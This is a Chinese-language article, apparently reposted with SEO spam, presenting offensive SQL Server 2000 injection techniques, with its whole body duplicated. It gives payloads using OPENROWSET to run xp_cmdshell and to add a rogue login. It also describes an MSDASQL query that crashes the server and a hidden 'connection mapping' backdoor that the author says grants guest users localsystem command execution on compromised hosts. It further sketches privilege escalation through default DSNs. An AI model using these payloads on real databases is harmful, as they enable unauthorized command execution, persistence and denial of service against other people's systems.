注意那些容易被忽略的MSSQL注入技巧
技術標籤:綜合
本篇文章由泉州SEOwww.234yp.com 整理髮布,mssql資料庫www.234yp.com/Article/168190.html謝謝合作!
mssql資料庫
下面我要談到一些Sqlserver新的Bug,雖然本人經過長時間的努力,當然也有點幸運的成分在內,才得以發現,不敢一個人獨享,拿出來請大家鑑別。
1.關於Openrowset和Opendatasource
可能這個技巧早有人已經會了,就是利用openrowset傳送本地命令。通常我們的用法是(包括MSDN的列子)如下:
select * from openrowset('sqloledb','myserver';'sa';'','select * from table')
可見(即使從字面意義上看)openrowset只是作為一個快捷的遠端資料庫訪問,它必須跟在select後面,也就是說需要返回一個recordset 。
那麼我們能不能利用它呼叫xp_cmdshell呢?答案是肯定的!
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
exec master.dbo.xp_cmdshel l ''dir c:\''')
必須加上set fmtonly off用來遮蔽預設的只返回列資訊的設定,這樣xp_cmdshell返回的output集合就會提交給前面的select顯示,如果採用預設設定,會返回空集合導致select出錯,命令也就無法執行了。
那麼如果我們要呼叫sp_addlogin呢,他不會像xp_cmdshell返回任何集合的,我們就不能再依靠fmtonly設定了,可以如下操作:
select * from openrowset('sqloledb','server';'sa';'','select ''OK!''
exec master.dbo.sp_addlogin Hectic')
這樣,命令至少會返回select OK!'的集合,你的機器商會顯示OK!,同時對方的資料庫內也會增加一個Hectic的賬號,也就是說,我們利用select 'OK!'的返回集合欺騙了本地的select請求,是命令能夠正常執行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至於這個方法真正的用處,大家慢慢想吧。
2.關於Msdasql兩次請求的問題
不知道大家有沒有試過用msdasql連線遠端資料庫,當然這個api必須是sqlserver的管理員才可以呼叫,那麼如下:
select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s
elect * from table1 select * from table2')
當table1和table2的欄位數目不相同時,你會發現對方的sqlserver崩潰了,連本地連線都會失敗,而系統資源佔用一切正常,用 pskill殺死 sqlserver程序後,如果不重啟機器,sqlserver要麼無法正常啟動,要麼時常出現非法操作,我也只是碰巧找到這個bug的,具體原因我還沒有摸透,而且很奇怪的是這個現象只出現在msdasql上,sqloledb就沒有這個問題,看來問題不是在於請求集合數目和返回集合數目不匹配上,應該還是msdasql本身的問題,具體原因,大家一起慢慢研究吧。
3.可怕的後門
以前在網上看到有人說在 sqlserver上留後門可以通過新增triger、jobs或改寫sp_addlogin和sp_addsrvrolemember做到,這些方法當然可行,但是很容易會被發現。不知道大家有沒有想過sqloledb的本地連線對映。呵呵,比如你在對方的sqlserver上用sqlserver的管理員賬號執行如下的命令:
select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')
這樣在對方的 sqlserver上建立了一個名為Hectic的本地連線對映,只要sqlserver不重啟,這個對映會一直存在下去,至少我現在還不知道如何發現別人放置的連線對映,好了,以上的命令執行過後,你會發現哪怕是sqlserver沒有任何許可權的guest使用者,執行以上這條命令也一樣能通過!而且許可權是 localsystem!(預設安裝)呵呵!這個方法可以用來在以被入侵過獲得管理員許可權的sqlserver上留下一個後門了。以上的方法在 sqlserver2000 sqlserver2000SP1上通過!
另外還有一個猜測,不知道大家有沒有注意過windows預設附帶的兩個dsn,一個是localserver一個是msqi,這兩個在建立的時候是本地管理員賬號連線sqlserver的,如果對方的 sqlserver是通過自定義的power user啟動,那麼sa的許可權就和power user一樣,很難有所大作為,但是我們通過如下的命令:
select * from openrowset
('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec
master..xp_cmdshell ''dir c:\''')
應該可以利用localserver的管理員賬號連線本地sqlserver然後再以這個賬號的許可權執行本地命令了,這是後我想應該能突破sa 那個power user許可權了。現在的問題是sqloledb無法呼叫dsn連線,而msdasql非管理員不讓呼叫,所以我現在正在尋找guest呼叫msdasql 的方法。
如果有人知道這個bug如何突破,或有新的想法,我們可以一起討論一下,這個發放如果能成功被guest利用,將會是一個很嚴重的安全漏洞。因為我們前面提到的任何sql語句都可以提交給對方的asp去幫我們執行。
下面我要談到一些Sqlserver新的Bug,雖然本人經過長時間的努力,當然也有點幸運的成分在內,才得以發現,不敢一個人獨享,拿出來請大家鑑別。 1.關於Openrowset和Opendatasource 可能這個技巧早有人已經會了,就是利用openrowset傳送本地命令。通常我們的用法是(包括MSDN的列子)如下...
下面我要談到一些Sqlserver新的Bug,雖然本人經過長時間的努力,當然也有點幸運的成分在內,才得以發現,不敢一個人獨享,拿出來請大家鑑別。
1.關於Openrowset和Opendatasource
可能這個技巧早有人已經會了,就是利用openrowset傳送本地命令。通常我們的用法是(包括MSDN的列子)如下:
select * from openrowset('sqloledb','myserver';'sa';'','select * from table')
可見(即使從字面意義上看)openrowset只是作為一個快捷的遠端資料庫訪問,它必須跟在select後面,也就是說需要返回一個recordset 。
那麼我們能不能利用它呼叫xp_cmdshell呢?答案是肯定的!
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
exec master.dbo.xp_cmdshel l ''dir c:\''')
必須加上set fmtonly off用來遮蔽預設的只返回列資訊的設定,這樣xp_cmdshell返回的output集合就會提交給前面的select顯示,如果採用預設設定,會返回空集合導致select出錯,命令也就無法執行了。
那麼如果我們要呼叫sp_addlogin呢,他不會像xp_cmdshell返回任何集合的,我們就不能再依靠fmtonly設定了,可以如下操作:
select * from openrowset('sqloledb','server';'sa';'','select ''OK!''
exec master.dbo.sp_addlogin Hectic')
這樣,命令至少會返回select OK!'的集合,你的機器商會顯示OK!,同時對方的資料庫內也會增加一個Hectic的賬號,也就是說,我們利用select 'OK!'的返回集合欺騙了本地的select請求,是命令能夠正常執行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至於這個方法真正的用處,大家慢慢想吧。
2.關於Msdasql兩次請求的問題
不知道大家有沒有試過用msdasql連線遠端資料庫,當然這個api必須是sqlserver的管理員才可以呼叫,那麼如下:
select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s
elect * from table1 select * from table2')
當table1和table2的欄位數目不相同時,你會發現對方的sqlserver崩潰了,連本地連線都會失敗,而系統資源佔用一切正常,用 pskill殺死 sqlserver程序後,如果不重啟機器,sqlserver要麼無法正常啟動,要麼時常出現非法操作,我也只是碰巧找到這個bug的,具體原因我還沒有摸透,而且很奇怪的是這個現象只出現在msdasql上,sqloledb就沒有這個問題,看來問題不是在於請求集合數目和返回集合數目不匹配上,應該還是msdasql本身的問題,具體原因,大家一起慢慢研究吧。
3.可怕的後門
以前在網上看到有人說在 sqlserver上留後門可以通過新增triger、jobs或改寫sp_addlogin和sp_addsrvrolemember做到,這些方法當然可行,但是很容易會被發現。不知道大家有沒有想過sqloledb的本地連線對映。呵呵,比如你在對方的sqlserver上用sqlserver的管理員賬號執行如下的命令:
select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')
這樣在對方的 sqlserver上建立了一個名為Hectic的本地連線對映,只要sqlserver不重啟,這個對映會一直存在下去,至少我現在還不知道如何發現別人放置的連線對映,好了,以上的命令執行過後,你會發現哪怕是sqlserver沒有任何許可權的guest使用者,執行以上這條命令也一樣能通過!而且許可權是 localsystem!(預設安裝)呵呵!這個方法可以用來在以被入侵過獲得管理員許可權的sqlserver上留下一個後門了。以上的方法在 sqlserver2000 sqlserver2000SP1上通過!
另外還有一個猜測,不知道大家有沒有注意過windows預設附帶的兩個dsn,一個是localserver一個是msqi,這兩個在建立的時候是本地管理員賬號連線sqlserver的,如果對方的 sqlserver是通過自定義的power user啟動,那麼sa的許可權就和power user一樣,很難有所大作為,但是我們通過如下的命令:
select * from openrowset
('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec
master..xp_cmdshell ''dir c:\''')
應該可以利用localserver的管理員賬號連線本地sqlserver然後再以這個賬號的許可權執行本地命令了,這是後我想應該能突破sa 那個power user許可權了。現在的問題是sqloledb無法呼叫dsn連線,而msdasql非管理員不讓呼叫,所以我現在正在尋找guest呼叫msdasql 的方法。
如果有人知道這個bug如何突破,或有新的想法,我們可以一起討論一下,這個發放如果能成功被guest利用,將會是一個很嚴重的安全漏洞。因為我們前面提到的任何sql語句都可以提交給對方的asp去幫我們執行。
關於更多mssql資料庫內容,可以收藏本網頁。
廈門SEO專注SEO領域的教程,培訓等,自己20年優化經驗,立足廈門本土!服務廈門本土網路推廣從業人員,主要針對廈門網站優化,網站推廣,廈門SEO知識分享。